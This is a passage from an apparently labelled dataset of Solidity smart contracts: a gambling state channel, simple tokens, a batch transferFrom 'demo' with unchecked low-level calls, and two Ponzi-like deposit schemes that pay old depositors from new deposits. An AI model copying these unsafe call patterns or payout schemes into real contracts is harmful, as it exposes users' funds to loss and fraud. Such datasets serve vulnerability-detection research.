modifier onlyPausedSince(uint timeSpan) {
require(paused && timePaused + timeSpan <= block.timestamp);
_;
}
event LogPause();
event LogUnpause();
function pause() public onlyOwner onlyNotPaused {
paused = true;
timePaused = block.timestamp;
emit LogPause();
}
function unpause() public onlyOwner onlyPaused {
paused = false;
timePaused = 0;
emit LogUnpause();
}
}
contract Destroyable is Pausable {
uint public constant TIMEOUT_DESTROY = 20 days;
function destroy() public onlyOwner onlyPausedSince(TIMEOUT_DESTROY) {
selfdestruct(owner);
}
}
contract GameChannelBase is Destroyable, ConflictResolutionManager {
enum GameStatus {
ENDED,
ACTIVE,
PLAYER_INITIATED_END,
SERVER_INITIATED_END
}
enum ReasonEnded {
REGULAR_ENDED,
END_FORCED_BY_SERVER,
END_FORCED_BY_PLAYER
}
struct Game {
GameStatus status;
uint128 stake;
uint8 gameType;
uint32 roundId;
uint16 betNum;
uint betValue;
int balance;
bytes32 playerSeed;
bytes32 serverSeed;
uint endInitiatedTime;
}
uint public constant MIN_TRANSFER_TIMESPAN = 1 days;
uint public constant MAX_TRANSFER_TIMSPAN = 6 * 30 days;
bytes32 public constant TYPE_HASH = keccak256(abi.encodePacked(
"uint32 Round Id",
"uint8 Game Type",
"uint16 Number",
"uint Value (Wei)",
"int Current Balance (Wei)",
"bytes32 Server Hash",
"bytes32 Player Hash",
"uint Game Id",
"address Contract Address"
));
uint public activeGames = 0;
uint public gameIdCntr;
address public serverAddress;
address public houseAddress;
uint public houseStake = 0;
int public houseProfit = 0;
uint128 public minStake;
uint128 public maxStake;
uint public profitTransferTimeSpan = 14 days;
uint public lastProfitTransferTimestamp;
mapping (uint => Game) public gameIdGame;
mapping (address => uint) public playerGameId;
mapping (address => uint) public pendingReturns;
modifier onlyValidHouseStake(uint _activeGames) {
uint minHouseStake = conflictRes.minHouseStake(_activeGames);
require(houseStake >= minHouseStake);
_;
}
modifier onlyValidValue() {
require(minStake <= msg.value && msg.value <= maxStake);
_;
}
modifier onlyServer() {
require(msg.sender == serverAddress);
_;
}
modifier onlyValidTransferTimeSpan(uint transferTimeout) {
require(transferTimeout >= MIN_TRANSFER_TIMESPAN
&& transferTimeout <= MAX_TRANSFER_TIMSPAN);
_;
}
event LogGameCreated(address indexed player, uint indexed gameId, uint128 stake, bytes32 indexed serverEndHash, bytes32 playerEndHash);
event LogPlayerRequestedEnd(address indexed player, uint indexed gameId);
event LogServerRequestedEnd(address indexed player, uint indexed gameId);
event LogGameEnded(address indexed player, uint indexed gameId, uint32 roundId, int balance, ReasonEnded reason);
event LogStakeLimitsModified(uint minStake, uint maxStake);
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _gameIdCntr
)
public
ConflictResolutionManager(_conflictResAddress)
{
require(_minStake > 0 && _minStake <= _maxStake);
require(_gameIdCntr > 0);
gameIdCntr = _gameIdCntr;
serverAddress = _serverAddress;
houseAddress = _houseAddress;
lastProfitTransferTimestamp = block.timestamp;
minStake = _minStake;
maxStake = _maxStake;
}
function withdraw() public {
uint toTransfer = pendingReturns[msg.sender];
require(toTransfer > 0);
pendingReturns[msg.sender] = 0;
msg.sender.transfer(toTransfer);
}
function transferProfitToHouse() public {
require(lastProfitTransferTimestamp + profitTransferTimeSpan <= block.timestamp);
lastProfitTransferTimestamp = block.timestamp;
if (houseProfit <= 0) {
return;
}
uint toTransfer = uint(houseProfit);
assert(houseStake >= toTransfer);
houseProfit = 0;
houseStake = houseStake - toTransfer;
houseAddress.transfer(toTransfer);
}
function setProfitTransferTimeSpan(uint _profitTransferTimeSpan)
public
onlyOwner
onlyValidTransferTimeSpan(_profitTransferTimeSpan)
{
profitTransferTimeSpan = _profitTransferTimeSpan;
}
function addHouseStake() public payable onlyOwner {
houseStake += msg.value;
}
function withdrawHouseStake(uint value) public onlyOwner {
uint minHouseStake = conflictRes.minHouseStake(activeGames);
require(value <= houseStake && houseStake - value >= minHouseStake);
require(houseProfit <= 0 || uint(houseProfit) <= houseStake - value);
houseStake = houseStake - value;
owner.transfer(value);
}
function withdrawAll() public onlyOwner onlyPausedSince(3 days) {
houseProfit = 0;
uint toTransfer = houseStake;
houseStake = 0;
owner.transfer(toTransfer);
}
function setHouseAddress(address _houseAddress) public onlyOwner {
houseAddress = _houseAddress;
}
function setStakeRequirements(uint128 _minStake, uint128 _maxStake) public onlyOwner {
require(_minStake > 0 && _minStake <= _maxStake);
minStake = _minStake;
maxStake = _maxStake;
emit LogStakeLimitsModified(minStake, maxStake);
}
function closeGame(
Game storage _game,
uint _gameId,
uint32 _roundId,
address _playerAddress,
ReasonEnded _reason,
int _balance
)
internal
{
_game.status = GameStatus.ENDED;
assert(activeGames > 0);
activeGames = activeGames - 1;
payOut(_playerAddress, _game.stake, _balance);
emit LogGameEnded(_playerAddress, _gameId, _roundId, _balance, _reason);
}
function payOut(address _playerAddress, uint128 _stake, int _balance) internal {
assert(_balance <= conflictRes.maxBalance());
assert((int(_stake) + _balance) >= 0);
uint valuePlayer = uint(int(_stake) + _balance);
if (_balance > 0 && int(houseStake) < _balance) {
valuePlayer = houseStake;
}
houseProfit = houseProfit - _balance;
int newHouseStake = int(houseStake) - _balance;
assert(newHouseStake >= 0);
houseStake = uint(newHouseStake);
pendingReturns[_playerAddress] += valuePlayer;
if (pendingReturns[_playerAddress] > 0) {
safeSend(_playerAddress);
}
}
function safeSend(address _address) internal {
uint valueToSend = pendingReturns[_address];
assert(valueToSend > 0);
pendingReturns[_address] = 0;
if (_address.send(valueToSend) == false) {
pendingReturns[_address] = valueToSend;
}
}
function verifySig(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _sig,
address _address
)
internal
view
{
address contractAddress = this;
require(_contractAddress == contractAddress);
bytes32 roundHash = calcHash(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress
);
verify(
roundHash,
_sig,
_address
);
}
function verify(
bytes32 _hash,
bytes _sig,
address _address
)
internal
pure
{
bytes32 r;
bytes32 s;
uint8 v;
(r, s, v) = signatureSplit(_sig);
address addressRecover = ecrecover(_hash, v, r, s);
require(addressRecover == _address);
}
function calcHash(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress
)
private
pure
returns(bytes32)
{
bytes32 dataHash = keccak256(abi.encodePacked(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress
));
return keccak256(abi.encodePacked(
TYPE_HASH,
dataHash
));
}
function signatureSplit(bytes _signature)
private
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(_signature.length == 65);
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := and(mload(add(_signature, 65)), 0xff)
}
if (v < 2) {
v = v + 27;
}
}
}
contract GameChannelConflict is GameChannelBase {
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _gameIdCtr
)
public
GameChannelBase(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _gameIdCtr)
{
}
function serverEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _playerSig,
address _playerAddress,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_playerSig,
_playerAddress
);
serverEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_serverSeed,
_playerSeed,
_gameId,
_playerAddress
);
}
function playerEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _serverSig,
bytes32 _playerSeed
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
playerEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_playerHash,
_playerSeed,
_gameId,
msg.sender
);
}
function playerCancelActiveGame(uint _gameId) public {
address playerAddress = msg.sender;
uint gameId = playerGameId[playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.PLAYER_INITIATED_END;
emit LogPlayerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == 0) {
closeGame(game, gameId, 0, playerAddress, ReasonEnded.REGULAR_ENDED, 0);
} else {
revert();
}
}
function serverCancelActiveGame(address _playerAddress, uint _gameId) public onlyServer {
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.SERVER_INITIATED_END;
emit LogServerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.PLAYER_INITIATED_END && game.roundId == 0) {
closeGame(game, gameId, 0, _playerAddress, ReasonEnded.REGULAR_ENDED, 0);
} else {
revert();
}
}
function serverForceGameEnd(address _playerAddress, uint _gameId) public onlyServer {
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
require(game.status == GameStatus.SERVER_INITIATED_END);
int newBalance = conflictRes.serverForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, _playerAddress, ReasonEnded.END_FORCED_BY_SERVER, newBalance);
}
function playerForceGameEnd(uint _gameId) public {
address playerAddress = msg.sender;
uint gameId = playerGameId[playerAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId);
require(game.status == GameStatus.PLAYER_INITIATED_END);
int newBalance = conflictRes.playerForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, playerAddress, ReasonEnded.END_FORCED_BY_PLAYER, newBalance);
}
function playerEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _playerHash,
bytes32 _playerSeed,
uint _gameId,
address _playerAddress
)
private
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
require(gameId == _gameId);
require(_roundId > 0);
require(keccak256(abi.encodePacked(_playerSeed)) == _playerHash);
require(-int(game.stake) <= _balance && _balance <= maxBalance);
require(conflictRes.isValidBet(_gameType, _num, _value));
require(int(game.stake) + _balance - int(_value) >= 0);
if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == _roundId) {
game.playerSeed = _playerSeed;
endGameConflict(game, gameId, _playerAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.SERVER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.PLAYER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.playerSeed = _playerSeed;
game.serverSeed = bytes32(0);
emit LogPlayerRequestedEnd(msg.sender, gameId);
} else {
revert();
}
}
function serverEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
bytes32 _serverSeed,
bytes32 _playerSeed,
uint _gameId,
address _playerAddress
)
private
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
require(gameId == _gameId);
require(_roundId > 0);
require(keccak256(abi.encodePacked(_serverSeed)) == _serverHash);
require(keccak256(abi.encodePacked(_playerSeed)) == _playerHash);
require(-int(game.stake) <= _balance && _balance <= maxBalance);
require(conflictRes.isValidBet(_gameType, _num, _value));
require(int(game.stake) + _balance - int(_value) >= 0);
if (game.status == GameStatus.PLAYER_INITIATED_END && game.roundId == _roundId) {
game.serverSeed = _serverSeed;
endGameConflict(game, gameId, _playerAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.PLAYER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.SERVER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.serverSeed = _serverSeed;
game.playerSeed = _playerSeed;
emit LogServerRequestedEnd(_playerAddress, gameId);
} else {
revert();
}
}
function endGameConflict(Game storage _game, uint _gameId, address _playerAddress) private {
int newBalance = conflictRes.endGameConflict(
_game.gameType,
_game.betNum,
_game.betValue,
_game.balance,
_game.stake,
_game.serverSeed,
_game.playerSeed
);
closeGame(_game, _gameId, _game.roundId, _playerAddress, ReasonEnded.REGULAR_ENDED, newBalance);
}
}
contract GameChannel is GameChannelConflict {
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _gameIdCntr
)
public
GameChannelConflict(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _gameIdCntr)
{
}
function createGame(
bytes32 _playerEndHash,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
public
payable
onlyValidValue
onlyValidHouseStake(activeGames + 1)
onlyNotPaused
{
uint previousGameId = playerGameId[msg.sender];
Game storage game = gameIdGame[previousGameId];
require(game.status == GameStatus.ENDED);
require(previousGameId == _previousGameId);
require(block.timestamp < _createBefore);
verifyCreateSig(msg.sender, _previousGameId, _createBefore, _serverEndHash, _serverSig);
uint gameId = gameIdCntr++;
playerGameId[msg.sender] = gameId;
Game storage newGame = gameIdGame[gameId];
newGame.stake = uint128(msg.value);
newGame.status = GameStatus.ACTIVE;
activeGames = activeGames + 1;
emit LogGameCreated(msg.sender, gameId, uint128(msg.value), _serverEndHash, _playerEndHash);
}
function serverEndGame(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
address _playerAddress,
bytes _playerSig
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_playerSig,
_playerAddress
);
regularEndGame(_playerAddress, _roundId, _gameType, _num, _value, _balance, _gameId, _contractAddress);
}
function playerEndGame(
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _playerHash,
uint _gameId,
address _contractAddress,
bytes _serverSig
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_playerHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
regularEndGame(msg.sender, _roundId, _gameType, _num, _value, _balance, _gameId, _contractAddress);
}
function verifyCreateSig(
address _playerAddress,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
private view
{
address contractAddress = this;
bytes32 hash = keccak256(abi.encodePacked(
contractAddress, _playerAddress, _previousGameId, _createBefore, _serverEndHash
));
verify(hash, _serverSig, serverAddress);
}
function regularEndGame(
address _playerAddress,
uint32 _roundId,
uint8 _gameType,
uint16 _num,
uint _value,
int _balance,
uint _gameId,
address _contractAddress
)
private
{
uint gameId = playerGameId[_playerAddress];
Game storage game = gameIdGame[gameId];
address contractAddress = this;
int maxBalance = conflictRes.maxBalance();
require(_gameId == gameId);
require(_roundId > 0);
require(-int(game.stake) <= _balance && _balance <= maxBalance);
require((_gameType == 0) && (_num == 0) && (_value == 0));
require(game.status == GameStatus.ACTIVE);
assert(_contractAddress == contractAddress);
closeGame(game, gameId, _roundId, _playerAddress, ReasonEnded.REGULAR_ENDED, _balance);
}
} | 1 | 4,158 |
pragma solidity ^0.4.25;
contract Queue {
address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15;
address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf;
address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625;
address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b;
uint constant public PROMO_PERCENT = 2;
uint constant public BONUS_PERCENT = 3;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(block.number >= 6667277);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.05 ether && msg.value <= 5 ether);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PROMO_PERCENT/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT/100;
PROMO2.send(promo2);
uint promo3 = msg.value*PROMO_PERCENT/100;
PROMO3.send(promo3);
uint prize = msg.value*BONUS_PERCENT/100;
PRIZE.send(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = 120;
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 223 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,193 |
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract EduCoin is owned {
string public constant name = "EduCoin";
string public constant symbol = "EDU";
uint256 private constant _INITIAL_SUPPLY = 15000000000;
uint8 public decimals = 0;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function EduCoin (
address genesis
) public {
owner = msg.sender;
require(owner != 0x0);
require(genesis != 0x0);
totalSupply = _INITIAL_SUPPLY;
balanceOf[genesis] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 | 3,136 |
pragma solidity ^0.4.25 ;
contract VOCC_I007_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I007_20181211 " ;
string public symbol = " VOCC_I007_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 4,469 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public manager;
address public ownerWallet;
constructor() public {
owner = msg.sender;
manager = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOrManager() {
require((msg.sender == owner)||(msg.sender == manager));
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function setManager(address _manager) public onlyOwnerOrManager {
require(_manager != address(0));
manager = _manager;
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
require(_ownerWallet != address(0));
ownerWallet = _ownerWallet;
}
}
contract TheBigBangOnline is Ownable {
using SafeMath for uint256;
bool contractProtection = true;
modifier notFromContract() {
if ( (msg.sender != tx.origin) && (contractProtection == true)){
revert("call from contract");
}
_;
}
event payEventLog(address indexed _address, uint value, uint periodCount, uint percent, uint time, bool result);
event payRefEventLog(address indexed _addressFrom, address indexed _addressTo, uint value, uint percent, uint time, bool result);
event payJackpotLog(address indexed _address, uint value, uint totalValue, uint userValue, uint time, bool result);
uint public period = 24 hours;
uint public startTime = 1537488000;
uint public basicDayPercent = 300;
uint public bonusDayPercent = 330;
uint public referrerLevel1Percent = 250;
uint public referrerLevel2Percent = 500;
uint public referrerLevel3Percent = 1000;
uint public referrerLevel2Ether = 1 ether;
uint public referrerLevel3Ether = 10 ether;
uint public minBetLevel1_2 = 0.01 ether;
uint public minBetLevel3 = 0.02 ether;
uint public minBetLevel4 = 0.05 ether;
uint public referrerAndOwnerPercent = 2000;
uint public currBetID = 1;
struct BetStruct {
uint value;
uint refValue;
uint firstBetTime;
uint lastBetTime;
uint lastPaymentTime;
uint nextPayAfterTime;
bool isExist;
uint id;
uint referrerID;
}
mapping (address => BetStruct) public betsDatabase;
mapping (uint => address) public addressList;
uint public jackpotLevel2Amount = 1 ether;
uint public jackpotLevel3Amount = 10 ether;
uint public jackpotLevel4Amount = 100 ether;
uint public jackpotPercent = 1000;
uint public jackpotBank = 0;
uint public jackpotMaxTime = 24 hours;
uint public jackpotTime = startTime + jackpotMaxTime;
uint public increaseJackpotTimeAfterBetLevel1 = 5 minutes;
uint public increaseJackpotTimeAfterBetLevel2_3 = 1 minutes;
uint public increaseJackpotTimeAfterBetLevel4 = 30 seconds;
uint public gameRound = 1;
uint public currJackpotBetID = 0;
struct BetStructForJackpot {
uint value;
address user;
}
mapping (uint => BetStructForJackpot) public betForJackpot;
function setContractProtection(bool _contractProtection) public onlyOwner {
contractProtection = _contractProtection;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function allBalance() public constant returns (uint) {
return address(this).balance;
}
function addToJackpot() public payable onlyOwnerOrManager {
jackpotBank += msg.value;
}
function addToBank() public payable onlyOwnerOrManager {
}
function createBet(uint _referrerID) public payable notFromContract {
if( (_referrerID >= currBetID)){
revert("Incorrect _referrerID");
}
if( (msg.value < minBetLevel1_2)||(msg.value < minBetLevel3 && jackpotBank >= jackpotLevel3Amount)||(msg.value < minBetLevel4 && jackpotBank >= jackpotLevel4Amount) ){
revert("Amount beyond acceptable limits");
}
if(betsDatabase[msg.sender].isExist){
if( (betsDatabase[msg.sender].nextPayAfterTime < now) && (gameRound==1) ){
payRewardForAddress(msg.sender);
}
betsDatabase[msg.sender].value += msg.value;
betsDatabase[msg.sender].lastBetTime = now;
} else {
BetStruct memory betStruct;
uint nextPayAfterTime = startTime+((now.sub(startTime)).div(period)).mul(period)+period;
betStruct = BetStruct({
value : msg.value,
refValue : 0,
firstBetTime : now,
lastBetTime : now,
lastPaymentTime : 0,
nextPayAfterTime: nextPayAfterTime,
isExist : true,
id : currBetID,
referrerID : _referrerID
});
betsDatabase[msg.sender] = betStruct;
addressList[currBetID] = msg.sender;
currBetID++;
}
if(now > jackpotTime){
getJackpot();
}
currJackpotBetID++;
BetStructForJackpot memory betStructForJackpot;
betStructForJackpot.user = msg.sender;
betStructForJackpot.value = msg.value;
betForJackpot[currJackpotBetID] = betStructForJackpot;
if(jackpotBank >= jackpotLevel4Amount){
jackpotTime += increaseJackpotTimeAfterBetLevel4;
}else if(jackpotBank >= jackpotLevel2Amount){
jackpotTime += increaseJackpotTimeAfterBetLevel2_3;
}else {
jackpotTime += increaseJackpotTimeAfterBetLevel1;
}
if( jackpotTime > now + jackpotMaxTime ) {
jackpotTime = now + jackpotMaxTime;
}
if(gameRound==1){
jackpotBank += msg.value.mul(jackpotPercent).div(10000);
}
else {
jackpotBank += msg.value.mul(10000-referrerAndOwnerPercent).div(10000);
}
if(betsDatabase[msg.sender].referrerID!=0){
betsDatabase[addressList[betsDatabase[msg.sender].referrerID]].refValue += msg.value;
uint currReferrerPercent;
uint currReferrerValue = betsDatabase[addressList[betsDatabase[msg.sender].referrerID]].value.add(betsDatabase[addressList[betsDatabase[msg.sender].referrerID]].refValue);
if (currReferrerValue >= referrerLevel3Ether){
currReferrerPercent = referrerLevel3Percent;
} else if (currReferrerValue >= referrerLevel2Ether) {
currReferrerPercent = referrerLevel2Percent;
} else {
currReferrerPercent = referrerLevel1Percent;
}
uint refToPay = msg.value.mul(currReferrerPercent).div(10000);
bool result = addressList[betsDatabase[msg.sender].referrerID].send( refToPay );
ownerWallet.transfer(msg.value.mul(referrerAndOwnerPercent - currReferrerPercent).div(10000));
emit payRefEventLog(msg.sender, addressList[betsDatabase[msg.sender].referrerID], refToPay, currReferrerPercent, now, result);
} else {
ownerWallet.transfer(msg.value.mul(referrerAndOwnerPercent).div(10000));
}
}
function () public payable notFromContract {
if(msg.value == 0){
payRewardForAddress(msg.sender);
}else{
uint refId = 1;
address referrer = bytesToAddress(msg.data);
if (betsDatabase[referrer].isExist){
refId = betsDatabase[referrer].id;
}
createBet(refId);
}
}
function getReward() public notFromContract {
payRewardForAddress(msg.sender);
}
function getRewardForAddress(address _address) public onlyOwnerOrManager {
payRewardForAddress(_address);
}
function payRewardForAddress(address _address) internal {
if(gameRound!=1){
revert("The first round end");
}
if(!betsDatabase[_address].isExist){
revert("Address are not an investor");
}
if(betsDatabase[_address].nextPayAfterTime >= now){
revert("The payout time has not yet come");
}
bool result;
uint periodCount = now.sub(betsDatabase[_address].nextPayAfterTime).div(period).add(1);
uint percent = basicDayPercent;
if(betsDatabase[_address].referrerID>0){
percent = bonusDayPercent;
}
uint toPay = periodCount.mul(betsDatabase[_address].value).div(10000).mul(percent);
betsDatabase[_address].lastPaymentTime = now;
betsDatabase[_address].nextPayAfterTime += periodCount.mul(period);
if(toPay.add(jackpotBank) >= address(this).balance.sub(msg.value) ){
toPay = address(this).balance.sub(jackpotBank).sub(msg.value);
gameRound = 2;
}
result = _address.send(toPay);
emit payEventLog(_address, toPay, periodCount, percent, now, result);
}
function getJackpot() public notFromContract {
if(now <= jackpotTime){
revert("Jackpot did not come");
}
jackpotTime = now + jackpotMaxTime;
if(currJackpotBetID >= 5){
uint toPay = jackpotBank;
jackpotBank = 0;
if(toPay>address(this).balance){
toPay = address(this).balance;
}
bool result;
uint totalValue = betForJackpot[currJackpotBetID].value + betForJackpot[currJackpotBetID - 1].value + betForJackpot[currJackpotBetID - 2].value + betForJackpot[currJackpotBetID - 3].value + betForJackpot[currJackpotBetID - 4].value;
uint winner1ToPay = toPay.mul(betForJackpot[currJackpotBetID].value).div(totalValue);
uint winner2ToPay = toPay.mul(betForJackpot[currJackpotBetID-1].value).div(totalValue);
uint winner3ToPay = toPay.mul(betForJackpot[currJackpotBetID-2].value).div(totalValue);
uint winner4ToPay = toPay.mul(betForJackpot[currJackpotBetID-3].value).div(totalValue);
uint winner5ToPay = toPay.sub(winner1ToPay + winner2ToPay + winner3ToPay + winner4ToPay);
result = betForJackpot[currJackpotBetID].user.send( winner1ToPay );
emit payJackpotLog(betForJackpot[currJackpotBetID].user, winner1ToPay, totalValue, betForJackpot[currJackpotBetID].value, now, result);
result = betForJackpot[currJackpotBetID-1].user.send( winner2ToPay );
emit payJackpotLog(betForJackpot[currJackpotBetID-1].user, winner2ToPay, totalValue, betForJackpot[currJackpotBetID-1].value, now, result);
result = betForJackpot[currJackpotBetID-2].user.send( winner3ToPay );
emit payJackpotLog(betForJackpot[currJackpotBetID-2].user, winner3ToPay, totalValue, betForJackpot[currJackpotBetID-2].value, now, result);
result = betForJackpot[currJackpotBetID-3].user.send( winner4ToPay );
